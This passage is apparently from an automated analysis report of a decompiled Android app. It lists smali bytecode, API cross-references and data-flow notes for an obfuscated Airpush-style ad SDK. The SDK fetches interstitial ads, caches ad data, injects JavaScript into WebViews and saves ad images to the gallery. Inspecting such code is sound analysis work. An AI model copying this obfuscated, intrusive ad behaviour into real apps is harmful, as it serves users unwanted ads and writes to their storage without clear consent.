37invoke-virtual {v3}, Lcom/vxjxu/jkhfn1870/SetPreferences;->setPreferencesData()V
38try_end_32: return v2
39catch_33: move-exception v1
41const-string v3, "AirplaySDK"
43const-string v4, "Error occurred while checking required details: "
45invoke-static {v3, v4, v1}, Landroid/util/Log;->e(Ljava/lang/String;Ljava/lang/String;Ljava/lang/Throwable;)I
  • Data flow analysis:
    • tag: AirplaySDK
    • msg: Error occurred while checking required details:
46const/4 v2, 0x0
47goto/16 :goto_32
Cross References
APIs
  • java.lang.Object.<init>
  • java.lang.StringBuilder.<init>
  • java.lang.StringBuilder.append
  • java.lang.StringBuilder.toString
Strings
  • Url:
Position Instruction Meta Information
0.param p1, "context" # Landroid/content/Context;
1.param p4, "url" # Ljava/lang/String;
2.param p5, "wait" # J
3.param p7, "isAddValues" # Z
4.annotation system Ldalvik/annotation/Signature;
5value = {
6"(",
7"Landroid/content/Context;",
8"Lcom/vxjxu/jkhfn1870/AsyncTaskCompleteListener",
9"<",
10"Ljava/lang/String;",
11">;",
12"Ljava/util/List",
13"<",
14"Lorg/apache/http/NameValuePair;",
15">;",
16"Ljava/lang/String;",
17"JZ)V"
18}
19.end annotation
20.prologue
22invoke-direct {p0}, Ljava/lang/Object;-><init>()V
23iput-object p1, p0, Lcom/vxjxu/jkhfn1870/NetworkThread;->context:Landroid/content/Context;
24iput-object p2, p0, Lcom/vxjxu/jkhfn1870/NetworkThread;->asyncTaskCompleteListener:Lcom/vxjxu/jkhfn1870/AsyncTaskCompleteListener;
25iput-object p3, p0, Lcom/vxjxu/jkhfn1870/NetworkThread;->list:Ljava/util/List;
26iput-object p4, p0, Lcom/vxjxu/jkhfn1870/NetworkThread;->url:Ljava/lang/String;
27new-instance v0, Ljava/lang/StringBuilder;
29invoke-direct {v0}, Ljava/lang/StringBuilder;-><init>()V
31const-string v1, "Url: "
33invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: Url:
34move-result-object v0
36invoke-virtual {v0, p4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
37move-result-object v0
39invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
40move-result-object v0
42invoke-static {v0}, Lcom/vxjxu/jkhfn1870/Util;->printDebugLog(Ljava/lang/String;)V
43iput-wide p5, p0, Lcom/vxjxu/jkhfn1870/NetworkThread;->wait:J
44iput-boolean p7, p0, Lcom/vxjxu/jkhfn1870/NetworkThread;->isAddvalues:Z
45return-void
Cross References
APIs
  • android.os.AsyncTask.<init>
  • java.lang.StringBuilder.<init>
  • java.lang.StringBuilder.append
  • java.lang.StringBuilder.toString
Strings
  • Image URL:
Position Instruction Meta Information
0.param p1, "image_url" # Ljava/lang/String;
1.annotation system Ldalvik/annotation/Signature;
2value = {
3"(",
4"Ljava/lang/String;",
5"Lcom/vxjxu/jkhfn1870/AsyncTaskCompleteListener",
6"<",
7"Landroid/graphics/Bitmap;",
8">;)V"
9}
10.end annotation
11.prologue
13invoke-direct {p0}, Landroid/os/AsyncTask;-><init>()V
14const/4 v0, 0x0
15iput-object v0, p0, Lcom/vxjxu/jkhfn1870/ImageTask;->bmpicon:Landroid/graphics/Bitmap;
16iput-object p1, p0, Lcom/vxjxu/jkhfn1870/ImageTask;->IMAGE_URL:Ljava/lang/String;
17iput-object p2, p0, Lcom/vxjxu/jkhfn1870/ImageTask;->listener:Lcom/vxjxu/jkhfn1870/AsyncTaskCompleteListener;
18new-instance v0, Ljava/lang/StringBuilder;
20invoke-direct {v0}, Ljava/lang/StringBuilder;-><init>()V
22const-string v1, "Image URL: "
24invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: Image URL:
25move-result-object v0
27invoke-virtual {v0, p1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
28move-result-object v0
30invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
31move-result-object v0
33invoke-static {v0}, Lcom/vxjxu/jkhfn1870/Util;->printDebugLog(Ljava/lang/String;)V
34return-void
Cross References
APIs
  • android.content.SharedPreferences.edit
  • com.vxjxu.jkhfn1870.AdCallbackListener$AdType.toString
  • android.content.SharedPreferences$Editor.remove
  • android.content.SharedPreferences$Editor.commit
Strings
  • video_url
Position Instruction Meta Information
0.param p1, "adType" # Lcom/vxjxu/jkhfn1870/AdCallbackListener$AdType;
1.annotation system Ldalvik/annotation/Throws;
2value = {
3Ljava/lang/Exception;
4}
5.end annotation
6.prologue
8iget-object v0, p0, Lcom/vxjxu/jkhfn1870/Caching;->sharedPreferences:Landroid/content/SharedPreferences;
10invoke-interface {v0}, Landroid/content/SharedPreferences;->edit()Landroid/content/SharedPreferences$Editor;
11move-result-object v0
12iput-object v0, p0, Lcom/vxjxu/jkhfn1870/Caching;->editor:Landroid/content/SharedPreferences$Editor;
14iget-object v0, p0, Lcom/vxjxu/jkhfn1870/Caching;->editor:Landroid/content/SharedPreferences$Editor;
16invoke-virtual {p1}, Lcom/vxjxu/jkhfn1870/AdCallbackListener$AdType;->toString()Ljava/lang/String;
17move-result-object v1
19invoke-interface {v0, v1}, Landroid/content/SharedPreferences$Editor;->remove(Ljava/lang/String;)Landroid/content/SharedPreferences$Editor;
21iget-object v0, p0, Lcom/vxjxu/jkhfn1870/Caching;->editor:Landroid/content/SharedPreferences$Editor;
23const-string v1, "video_url"
25invoke-interface {v0, v1}, Landroid/content/SharedPreferences$Editor;->remove(Ljava/lang/String;)Landroid/content/SharedPreferences$Editor;
  • Data flow analysis:
    • p0: video_url
27iget-object v0, p0, Lcom/vxjxu/jkhfn1870/Caching;->editor:Landroid/content/SharedPreferences$Editor;
29invoke-interface {v0}, Landroid/content/SharedPreferences$Editor;->commit()Z
30return-void
APIs
  • java.util.ArrayList.<init>
  • java.lang.Thread.<init>
  • java.lang.Thread.start
  • java.lang.Exception.printStackTrace
Strings
  • https://api.airpush.com/lp/getinterstitialads.php
  • SmartWall
Position Instruction Meta Information
0.prologue
1try_start_0: new-instance v4, Ljava/util/ArrayList;
3invoke-direct {v4}, Ljava/util/ArrayList;-><init>()V
4new-instance v1, Lcom/vxjxu/jkhfn1870/NetworkThread;
6invoke-static {}, Lcom/vxjxu/jkhfn1870/AirPlay;->access$000()Landroid/app/Activity;
7move-result-object v2
9const-string v5, "https://api.airpush.com/lp/getinterstitialads.php"
10const-wide/16 v6, 0x0
11const/4 v8, 0x1
12move-object v3, p0
14invoke-direct/range {v1 .. v8}, Lcom/vxjxu/jkhfn1870/NetworkThread;-><init>(Landroid/content/Context;Lcom/vxjxu/jkhfn1870/AsyncTaskCompleteListener;Ljava/util/List;Ljava/lang/String;JZ)V
15new-instance v2, Ljava/lang/Thread;
17const-string v3, "SmartWall"
19invoke-direct {v2, v1, v3}, Ljava/lang/Thread;-><init>(Ljava/lang/Runnable;Ljava/lang/String;)V
  • Data flow analysis:
    • p1: SmartWall
21invoke-virtual {v2}, Ljava/lang/Thread;->start()V
22goto_1e: return-void
23catch_1f: move-exception v0
25invoke-virtual {v0}, Ljava/lang/Exception;->printStackTrace()V
26goto/16 :goto_1e
APIs
  • com.vxjxu.jkhfn1870.MraidView.sendEventData
  • android.util.Log.i
  • com.vxjxu.jkhfn1870.MraidView.canFetchAd
Strings
  • 93
  • AirplayMraid
  • Ad image is saved in Gallery.
Position Instruction Meta Information
0.prologue
2iget-object v0, p0, Lcom/vxjxu/jkhfn1870/MraidView$2$1$1;->this$2:Lcom/vxjxu/jkhfn1870/MraidView$2$1;
4iget-object v0, v0, Lcom/vxjxu/jkhfn1870/MraidView$2$1;->this$1:Lcom/vxjxu/jkhfn1870/MraidView$2;
6iget-object v0, v0, Lcom/vxjxu/jkhfn1870/MraidView$2;->this$0:Lcom/vxjxu/jkhfn1870/MraidView;
8const-string v1, "93"
10invoke-virtual {v0, v1}, Lcom/vxjxu/jkhfn1870/MraidView;->sendEventData(Ljava/lang/String;)V
  • Data flow analysis:
    • p0: 93
12const-string v0, "AirplayMraid"
14const-string v1, "Ad image is saved in Gallery."
16invoke-static {v0, v1}, Landroid/util/Log;->i(Ljava/lang/String;Ljava/lang/String;)I
  • Data flow analysis:
    • tag: AirplayMraid
    • msg: Ad image is saved in Gallery.
18iget-object v0, p0, Lcom/vxjxu/jkhfn1870/MraidView$2$1$1;->this$2:Lcom/vxjxu/jkhfn1870/MraidView$2$1;
20iget-object v0, v0, Lcom/vxjxu/jkhfn1870/MraidView$2$1;->this$1:Lcom/vxjxu/jkhfn1870/MraidView$2;
22iget-object v0, v0, Lcom/vxjxu/jkhfn1870/MraidView$2;->this$0:Lcom/vxjxu/jkhfn1870/MraidView;
23const/4 v1, 0x1
25invoke-virtual {v0, v1}, Lcom/vxjxu/jkhfn1870/MraidView;->canFetchAd(Z)V
  • Data flow analysis:
    • p0: 1
26return-void
APIs
  • java.lang.StringBuilder.<init>
  • java.lang.StringBuilder.append
  • java.lang.StringBuilder.toString
  • android.widget.TextView.setText
Strings
  • Left:
Position Instruction Meta Information
0.param p1, "millisUntilFinished" # J
1.prologue
3iget-object v0, p0, Lprsolutions/rosariofacileads/Countdown;->tv:Landroid/widget/TextView;
4new-instance v1, Ljava/lang/StringBuilder;
6invoke-direct {v1}, Ljava/lang/StringBuilder;-><init>()V
8const-string v2, "Left: "
10invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: Left:
11move-result-object v1
12const-wide/16 v2, 0x3e8
13div-long v2, p1, v2
15invoke-virtual {v1, v2, v3}, Ljava/lang/StringBuilder;->append(J)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: 1000
16move-result-object v1
18invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
19move-result-object v1
21invoke-virtual {v0, v1}, Landroid/widget/TextView;->setText(Ljava/lang/CharSequence;)V
22return-void
APIs
  • java.lang.StringBuilder.<init>
  • java.lang.StringBuilder.append
  • java.lang.StringBuilder.toString
  • com.vxjxu.jkhfn1870.MraidView.loadUrl
Strings
  • javascript:
Position Instruction Meta Information
0.prologue
2iget-object v0, p0, Lcom/vxjxu/jkhfn1870/MraidView$5;->this$0:Lcom/vxjxu/jkhfn1870/MraidView;
3new-instance v1, Ljava/lang/StringBuilder;
5invoke-direct {v1}, Ljava/lang/StringBuilder;-><init>()V
7const-string v2, "javascript:"
9invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: javascript:
10move-result-object v1
12iget-object v2, p0, Lcom/vxjxu/jkhfn1870/MraidView$5;->val$js_code:Ljava/lang/String;
14invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
15move-result-object v1
17invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
18move-result-object v1
20invoke-virtual {v0, v1}, Lcom/vxjxu/jkhfn1870/MraidView;->loadUrl(Ljava/lang/String;)V
21return-void
Cross References
APIs
  • java.lang.StringBuilder.<init>
  • java.lang.StringBuilder.append
  • java.lang.StringBuilder.toString
  • android.webkit.WebView.loadUrl
Strings
  • Loading url:
Position Instruction Meta Information
0.param p1, "url" # Ljava/lang/String;
1.prologue
2new-instance v0, Ljava/lang/StringBuilder;
4invoke-direct {v0}, Ljava/lang/StringBuilder;-><init>()V
6const-string v1, "Loading url: "
8invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: Loading url:
9move-result-object v0
11invoke-virtual {v0, p1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
12move-result-object v0
14invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
15move-result-object v0
17invoke-static {v0}, Lcom/vxjxu/jkhfn1870/Util;->printDebugLog(Ljava/lang/String;)V
19invoke-super {p0, p1}, Landroid/webkit/WebView;->loadUrl(Ljava/lang/String;)V
20return-void
APIs
  • com.vxjxu.jkhfn1870.BrowserActivity.getIntent
  • android.content.Intent.getAction
  • java.lang.String.equals
  • java.lang.Exception.printStackTrace
  • android.app.Activity.onBackPressed
Strings
  • playVideo
Position Instruction Meta Information
0.prologue
1try_start_0:
2invoke-virtual {p0}, Lcom/vxjxu/jkhfn1870/BrowserActivity;->getIntent()Landroid/content/Intent;
3move-result-object v1
5invoke-virtual {v1}, Landroid/content/Intent;->getAction()Ljava/lang/String;
6move-result-object v1
8const-string v2, "playVideo"
10invoke-virtual {v1, v2}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
  • Data flow analysis:
    • p0: playVideo
11try_end_d: move-result v1
12if-eqz v1, :cond_15
13goto_10: return-void
14catch_11: move-exception v0
16invoke-virtual {v0}, Ljava/lang/Exception;->printStackTrace()V
17cond_15:
18invoke-super {p0}, Landroid/app/Activity;->onBackPressed()V
19goto/16 :goto_10
APIs
  • com.vxjxu.jkhfn1870.AdCallbackListener$AdType.values
  • com.vxjxu.jkhfn1870.AdCallbackListener$AdType.ordinal
Position Instruction Meta Information
0.prologue
2invoke-static {}, Lcom/vxjxu/jkhfn1870/AdCallbackListener$AdType;->values()[Lcom/vxjxu/jkhfn1870/AdCallbackListener$AdType;
3move-result-object v0
4array-length v0, v0
5new-array v0, v0, [I
6sput-object v0, Lcom/vxjxu/jkhfn1870/AirPlay$9;->$SwitchMap$com$vxjxu$jkhfn1870$AdCallbackListener$AdType:[I
7try_start_9:
8sget-object v0, Lcom/vxjxu/jkhfn1870/AirPlay$9;->$SwitchMap$com$vxjxu$jkhfn1870$AdCallbackListener$AdType:[I
10sget-object v1, Lcom/vxjxu/jkhfn1870/AdCallbackListener$AdType;->smartwall:Lcom/vxjxu/jkhfn1870/AdCallbackListener$AdType;
12invoke-virtual {v1}, Lcom/vxjxu/jkhfn1870/AdCallbackListener$AdType;->ordinal()I
13move-result v1
14const/4 v2, 0x1
15aput v2, v0, v1
16try_end_14:
17sget-object v0, Lcom/vxjxu/jkhfn1870/AirPlay$9;->$SwitchMap$com$vxjxu$jkhfn1870$AdCallbackListener$AdType:[I
19sget-object v1, Lcom/vxjxu/jkhfn1870/AdCallbackListener$AdType;->appwall:Lcom/vxjxu/jkhfn1870/AdCallbackListener$AdType;
21invoke-virtual {v1}, Lcom/vxjxu/jkhfn1870/AdCallbackListener$AdType;->ordinal()I
22move-result v1
23const/4 v2, 0x2
24aput v2, v0, v1
25try_end_1f:
26sget-object v0, Lcom/vxjxu/jkhfn1870/AirPlay$9;->$SwitchMap$com$vxjxu$jkhfn1870$AdCallbackListener$AdType:[I
28sget-object v1, Lcom/vxjxu/jkhfn1870/AdCallbackListener$AdType;->landing_page:Lcom/vxjxu/jkhfn1870/AdCallbackListener$AdType;
30invoke-virtual {v1}, Lcom/vxjxu/jkhfn1870/AdCallbackListener$AdType;->ordinal()I
31move-result v1
32const/4 v2, 0x3
33aput v2, v0, v1
34try_start_2a:
35sget-object v0, Lcom/vxjxu/jkhfn1870/AirPlay$9;->$SwitchMap$com$vxjxu$jkhfn1870$AdCallbackListener$AdType:[I
37sget-object v1, Lcom/vxjxu/jkhfn1870/AdCallbackListener$AdType;->interstitial:Lcom/vxjxu/jkhfn1870/AdCallbackListener$AdType;
39invoke-virtual {v1}, Lcom/vxjxu/jkhfn1870/AdCallbackListener$AdType;->ordinal()I
40move-result v1
41const/4 v2, 0x4
42aput v2, v0, v1
43try_start_35:
44sget-object v0, Lcom/vxjxu/jkhfn1870/AirPlay$9;->$SwitchMap$com$vxjxu$jkhfn1870$AdCallbackListener$AdType:[I
46sget-object v1, Lcom/vxjxu/jkhfn1870/AdCallbackListener$AdType;->video:Lcom/vxjxu/jkhfn1870/AdCallbackListener$AdType;
48invoke-virtual {v1}, Lcom/vxjxu/jkhfn1870/AdCallbackListener$AdType;->ordinal()I
49move-result v1
50const/4 v2, 0x5
51aput v2, v0, v1
52try_start_40:
53sget-object v0, Lcom/vxjxu/jkhfn1870/AirPlay$9;->$SwitchMap$com$vxjxu$jkhfn1870$AdCallbackListener$AdType:[I
55sget-object v1, Lcom/vxjxu/jkhfn1870/AdCallbackListener$AdType;->overlay:Lcom/vxjxu/jkhfn1870/AdCallbackListener$AdType;
57invoke-virtual {v1}, Lcom/vxjxu/jkhfn1870/AdCallbackListener$AdType;->ordinal()I
58move-result v1
59const/4 v2, 0x6
60aput v2, v0, v1
61goto_4b: return-void
62catch_4c: move-exception v0
63goto/16 :goto_4b
64catch_4e: move-exception v0
65goto/16 :goto_40
66catch_50: move-exception v0
67goto/16 :goto_35
68catch_52: move-exception v0
69goto/16 :goto_2a
70catch_54: move-exception v0
71goto/16 :goto_1f
72catch_56: move-exception v0
73goto/16 :goto_14
Cross References
APIs
  • android.webkit.WebView.<init>
  • android.app.Activity.getWindow
  • android.view.Window.setFlags
  • android.content.Context.getResources
  • android.content.res.Resources.getDisplayMetrics
  • com.vxjxu.jkhfn1870.MraidView.initSettting
  • java.lang.Exception.printStackTrace
Position Instruction Meta Information
0.param p1, "context" # Landroid/content/Context;
1.param p2, "parseMraidJson" # Lcom/vxjxu/jkhfn1870/FormatAds$ParseMraidJson;
2.param p3, "handler" # Landroid/os/Handler;
3.annotation build Landroid/annotation/SuppressLint;
4value = {
5"InlinedApi"
6}
7.end annotation
8.prologue
10invoke-direct {p0, p1}, Landroid/webkit/WebView;-><init>(Landroid/content/Context;)V
11const/4 v2, 0x0
12iput-boolean v2, p0, Lcom/vxjxu/jkhfn1870/MraidView;->isTestMode:Z
13try_start_6: sget v2, Landroid/os/Build$VERSION;->SDK_INT:I
14const/16 v3, 0xb
15if-lt v2, v3, :cond_1f
16instance-of v2, p1, Landroid/app/Activity;
17if-eqz v2, :cond_1f
18move-object v0, p1
19check-cast v0, Landroid/app/Activity;
20move-object v2, v0
22invoke-virtual {v2}, Landroid/app/Activity;->getWindow()Landroid/view/Window;
23move-result-object v2
24const/high16 v3, 0x1000000
25const/high16 v4, 0x1000000
27invoke-virtual {v2, v3, v4}, Landroid/view/Window;->setFlags(II)V
  • Data flow analysis:
    • flags: 16777216
    • mask: 16777216
28try_end_1f:
29invoke-virtual {p2}, Lcom/vxjxu/jkhfn1870/FormatAds$ParseMraidJson;->getAd_url()Ljava/lang/String;
30move-result-object v2
31iput-object v2, p0, Lcom/vxjxu/jkhfn1870/MraidView;->adUrl:Ljava/lang/String;
32iput-object p3, p0, Lcom/vxjxu/jkhfn1870/MraidView;->handler:Landroid/os/Handler;
33new-instance v2, Lcom/vxjxu/jkhfn1870/MraidView$MraidAdUtil;
35invoke-direct {v2}, Lcom/vxjxu/jkhfn1870/MraidView$MraidAdUtil;-><init>()V
36iput-object v2, p0, Lcom/vxjxu/jkhfn1870/MraidView;->mraidAdUtil:Lcom/vxjxu/jkhfn1870/MraidView$MraidAdUtil;
38invoke-virtual {p1}, Landroid/content/Context;->getResources()Landroid/content/res/Resources;
39move-result-object v2
41invoke-virtual {v2}, Landroid/content/res/Resources;->getDisplayMetrics()Landroid/util/DisplayMetrics;
42move-result-object v2
43iput-object v2, p0, Lcom/vxjxu/jkhfn1870/MraidView;->displayMetrics:Landroid/util/DisplayMetrics;
45iget-object v2, p0, Lcom/vxjxu/jkhfn1870/MraidView;->displayMetrics:Landroid/util/DisplayMetrics;
46iget v2, v2, Landroid/util/DisplayMetrics;->density:F
47iput v2, p0, Lcom/vxjxu/jkhfn1870/MraidView;->scale:F
48new-instance v2, Lcom/vxjxu/jkhfn1870/MraidView$ExpandProperties;
50invoke-direct {v2, p0}, Lcom/vxjxu/jkhfn1870/MraidView$ExpandProperties;-><init>(Lcom/vxjxu/jkhfn1870/MraidView;)V
51iput-object v2, p0, Lcom/vxjxu/jkhfn1870/MraidView;->expandProperties:Lcom/vxjxu/jkhfn1870/MraidView$ExpandProperties;
52iput-object p2, p0, Lcom/vxjxu/jkhfn1870/MraidView;->parseMraidJson:Lcom/vxjxu/jkhfn1870/FormatAds$ParseMraidJson;
54invoke-direct {p0}, Lcom/vxjxu/jkhfn1870/MraidView;->initSettting()V
55goto_4a: return-void
56catch_4b: move-exception v1
58invoke-virtual {v1}, Ljava/lang/Exception;->printStackTrace()V
59goto/16 :goto_4a
60catch_50: move-exception v2
61goto/16 :goto_1f
APIs
  • android.view.View.getId
  • com.vxjxu.jkhfn1870.BrowserActivity$BrowserView.canGoBack
  • com.vxjxu.jkhfn1870.BrowserActivity$BrowserView.goBack
  • com.vxjxu.jkhfn1870.BrowserActivity$BrowserView.canGoForward
  • com.vxjxu.jkhfn1870.BrowserActivity$BrowserView.goForward
  • com.vxjxu.jkhfn1870.BrowserActivity$BrowserView.reload
  • com.vxjxu.jkhfn1870.BrowserActivity.finish
Position Instruction Meta Information
0.param p1, "v" # Landroid/view/View;
1.prologue
3invoke-virtual {p1}, Landroid/view/View;->getId()I
4move-result v0
5packed-switch v0, :pswitch_data_3a
6goto_7: return-void
7pswitch_8:
8iget-object v0, p0, Lcom/vxjxu/jkhfn1870/BrowserActivity;->webView:Lcom/vxjxu/jkhfn1870/BrowserActivity$BrowserView;
9if-eqz v0, :cond_7
11iget-object v0, p0, Lcom/vxjxu/jkhfn1870/BrowserActivity;->webView:Lcom/vxjxu/jkhfn1870/BrowserActivity$BrowserView;
13invoke-virtual {v0}, Lcom/vxjxu/jkhfn1870/BrowserActivity$BrowserView;->canGoBack()Z
14move-result v0
15if-eqz v0, :cond_7
17iget-object v0, p0, Lcom/vxjxu/jkhfn1870/BrowserActivity;->webView:Lcom/vxjxu/jkhfn1870/BrowserActivity$BrowserView;
19invoke-virtual {v0}, Lcom/vxjxu/jkhfn1870/BrowserActivity$BrowserView;->goBack()V
20goto/16 :goto_7
21pswitch_1a:
22iget-object v0, p0, Lcom/vxjxu/jkhfn1870/BrowserActivity;->webView:Lcom/vxjxu/jkhfn1870/BrowserActivity$BrowserView;
23if-eqz v0, :cond_7
25iget-object v0, p0, Lcom/vxjxu/jkhfn1870/BrowserActivity;->webView:Lcom/vxjxu/jkhfn1870/BrowserActivity$BrowserView;
27invoke-virtual {v0}, Lcom/vxjxu/jkhfn1870/BrowserActivity$BrowserView;->canGoForward()Z
28move-result v0
29if-eqz v0, :cond_7
31iget-object v0, p0, Lcom/vxjxu/jkhfn1870/BrowserActivity;->webView:Lcom/vxjxu/jkhfn1870/BrowserActivity$BrowserView;
33invoke-virtual {v0}, Lcom/vxjxu/jkhfn1870/BrowserActivity$BrowserView;->goForward()V
34goto/16 :goto_7
35pswitch_2c:
36iget-object v0, p0, Lcom/vxjxu/jkhfn1870/BrowserActivity;->webView:Lcom/vxjxu/jkhfn1870/BrowserActivity$BrowserView;
37if-eqz v0, :cond_7
39iget-object v0, p0, Lcom/vxjxu/jkhfn1870/BrowserActivity;->webView:Lcom/vxjxu/jkhfn1870/BrowserActivity$BrowserView;
41invoke-virtual {v0}, Lcom/vxjxu/jkhfn1870/BrowserActivity$BrowserView;->reload()V
42goto/16 :goto_7
43pswitch_36:
44invoke-virtual {p0}, Lcom/vxjxu/jkhfn1870/BrowserActivity;->finish()V
45goto/16 :goto_7
Cross References
APIs
  • android.content.SharedPreferences.edit
  • java.lang.StringBuilder.<init>
  • java.lang.StringBuilder.append
  • java.lang.StringBuilder.toString
  • android.content.SharedPreferences$Editor.putString
  • android.content.SharedPreferences$Editor.commit
Position Instruction Meta Information
0.param p1, "adType" # Lcom/vxjxu/jkhfn1870/AdCallbackListener$AdType;
1.param p2, "json" # Ljava/lang/String;
2.annotation system Ldalvik/annotation/Throws;
3value = {
4Ljava/lang/Exception;
5}
6.end annotation
7.prologue
9iget-object v0, p0, Lcom/vxjxu/jkhfn1870/Caching;->sharedPreferences:Landroid/content/SharedPreferences;
11invoke-interface {v0}, Landroid/content/SharedPreferences;->edit()Landroid/content/SharedPreferences$Editor;
12move-result-object v0
13iput-object v0, p0, Lcom/vxjxu/jkhfn1870/Caching;->editor:Landroid/content/SharedPreferences$Editor;
15iget-object v0, p0, Lcom/vxjxu/jkhfn1870/Caching;->editor:Landroid/content/SharedPreferences$Editor;
16new-instance v1, Ljava/lang/StringBuilder;
18invoke-direct {v1}, Ljava/lang/StringBuilder;-><init>()V
20const-string v2, ""
22invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
23move-result-object v1
25invoke-virtual {v1, p1}, Ljava/lang/StringBuilder;->append(Ljava/lang/Object;)Ljava/lang/StringBuilder;
26move-result-object v1
28invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
29move-result-object v1
31invoke-interface {v0, v1, p2}, Landroid/content/SharedPreferences$Editor;->putString(Ljava/lang/String;Ljava/lang/String;)Landroid/content/SharedPreferences$Editor;
33iget-object v0, p0, Lcom/vxjxu/jkhfn1870/Caching;->editor:Landroid/content/SharedPreferences$Editor;
35invoke-interface {v0}, Landroid/content/SharedPreferences$Editor;->commit()Z
36move-result v0
37return v0
Cross References
APIs
  • android.content.SharedPreferences.edit
  • java.lang.StringBuilder.<init>
  • java.lang.StringBuilder.append
  • java.lang.StringBuilder.toString
  • android.content.SharedPreferences$Editor.remove
  • android.content.SharedPreferences$Editor.commit
Position Instruction Meta Information
0.param p1, "adType" # Lcom/vxjxu/jkhfn1870/AdCallbackListener$AdType;
1.annotation system Ldalvik/annotation/Throws;
2value = {
3Ljava/lang/Exception;
4}
5.end annotation
6.prologue
8iget-object v0, p0, Lcom/vxjxu/jkhfn1870/Caching;->sharedPreferences:Landroid/content/SharedPreferences;
10invoke-interface {v0}, Landroid/content/SharedPreferences;->edit()Landroid/content/SharedPreferences$Editor;
11move-result-object v0
12iput-object v0, p0, Lcom/vxjxu/jkhfn1870/Caching;->editor:Landroid/content/SharedPreferences$Editor;
14iget-object v0, p0, Lcom/vxjxu/jkhfn1870/Caching;->editor:Landroid/content/SharedPreferences$Editor;
15new-instance v1, Ljava/lang/StringBuilder;
17invoke-direct {v1}, Ljava/lang/StringBuilder;-><init>()V
19const-string v2, ""
21invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
22move-result-object v1
24invoke-virtual {v1, p1}, Ljava/lang/StringBuilder;->append(Ljava/lang/Object;)Ljava/lang/StringBuilder;
25move-result-object v1
27invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
28move-result-object v1
30invoke-interface {v0, v1}, Landroid/content/SharedPreferences$Editor;->remove(Ljava/lang/String;)Landroid/content/SharedPreferences$Editor;
32iget-object v0, p0, Lcom/vxjxu/jkhfn1870/Caching;->editor:Landroid/content/SharedPreferences$Editor;
34invoke-interface {v0}, Landroid/content/SharedPreferences$Editor;->commit()Z
35return-void
Cross References
APIs
  • com.vxjxu.jkhfn1870.AdView.getChildCount
  • com.vxjxu.jkhfn1870.AdView.createAnimation
  • com.vxjxu.jkhfn1870.AdView.getChildAt
  • android.view.View.setAnimation
  • com.vxjxu.jkhfn1870.AdView.getChildAt
  • java.util.List.add
Position Instruction Meta Information
0.prologue
2invoke-virtual {p0}, Lcom/vxjxu/jkhfn1870/AdView;->getChildCount()I
3move-result v1
4if-lez v1, :cond_29
5const/4 v3, 0x1
7invoke-direct {p0, v3}, Lcom/vxjxu/jkhfn1870/AdView;->createAnimation(Z)Landroid/view/animation/Animation;
  • Data flow analysis:
    • p0: 1
8move-result-object v0
9const/4 v2, 0x0
10goto_c: if-ge v2, v1, :cond_29
11if-eqz v0, :cond_26
13invoke-virtual {p0, v2}, Lcom/vxjxu/jkhfn1870/AdView;->getChildAt(I)Landroid/view/View;
  • Data flow analysis:
    • p0: 0
14move-result-object v3
15if-eqz v3, :cond_26
17invoke-virtual {p0, v2}, Lcom/vxjxu/jkhfn1870/AdView;->getChildAt(I)Landroid/view/View;
  • Data flow analysis:
    • p0: 0
18move-result-object v3
20invoke-virtual {v3, v0}, Landroid/view/View;->setAnimation(Landroid/view/animation/Animation;)V
22iget-object v3, p0, Lcom/vxjxu/jkhfn1870/AdView;->oldViews:Ljava/util/List;
24invoke-virtual {p0, v2}, Lcom/vxjxu/jkhfn1870/AdView;->getChildAt(I)Landroid/view/View;
  • Data flow analysis:
    • p0: 0
25move-result-object v4
27invoke-interface {v3, v4}, Ljava/util/List;->add(Ljava/lang/Object;)Z
28cond_26: add-int/lit8 v2, v2, 0x1
29goto/16 :goto_c
30cond_29: return-void
Cross References
APIs
  • com.vxjxu.jkhfn1870.MraidView.getContext
  • android.widget.Button.<init>
  • android.view.ViewGroup$LayoutParams.<init>
  • android.widget.Button.setGravity
  • android.widget.Button.setLayoutParams
  • com.vxjxu.jkhfn1870.MraidView.setButtonBackground
  • android.widget.Button.setOnClickListener
Position Instruction Meta Information
0.param p1, "gravity" # I
1.prologue
2const/high16 v4, 0x42480000 # 50.0f
3new-instance v0, Landroid/widget/Button;
5invoke-virtual {p0}, Lcom/vxjxu/jkhfn1870/MraidView;->getContext()Landroid/content/Context;
6move-result-object v2
8invoke-direct {v0, v2}, Landroid/widget/Button;-><init>(Landroid/content/Context;)V
9new-instance v1, Landroid/view/ViewGroup$LayoutParams;
10iget v2, p0, Lcom/vxjxu/jkhfn1870/MraidView;->scale:F
11mul-float/2addr v2, v4
12float-to-int v2, v2
13iget v3, p0, Lcom/vxjxu/jkhfn1870/MraidView;->scale:F
14mul-float/2addr v3, v4
15float-to-int v3, v3
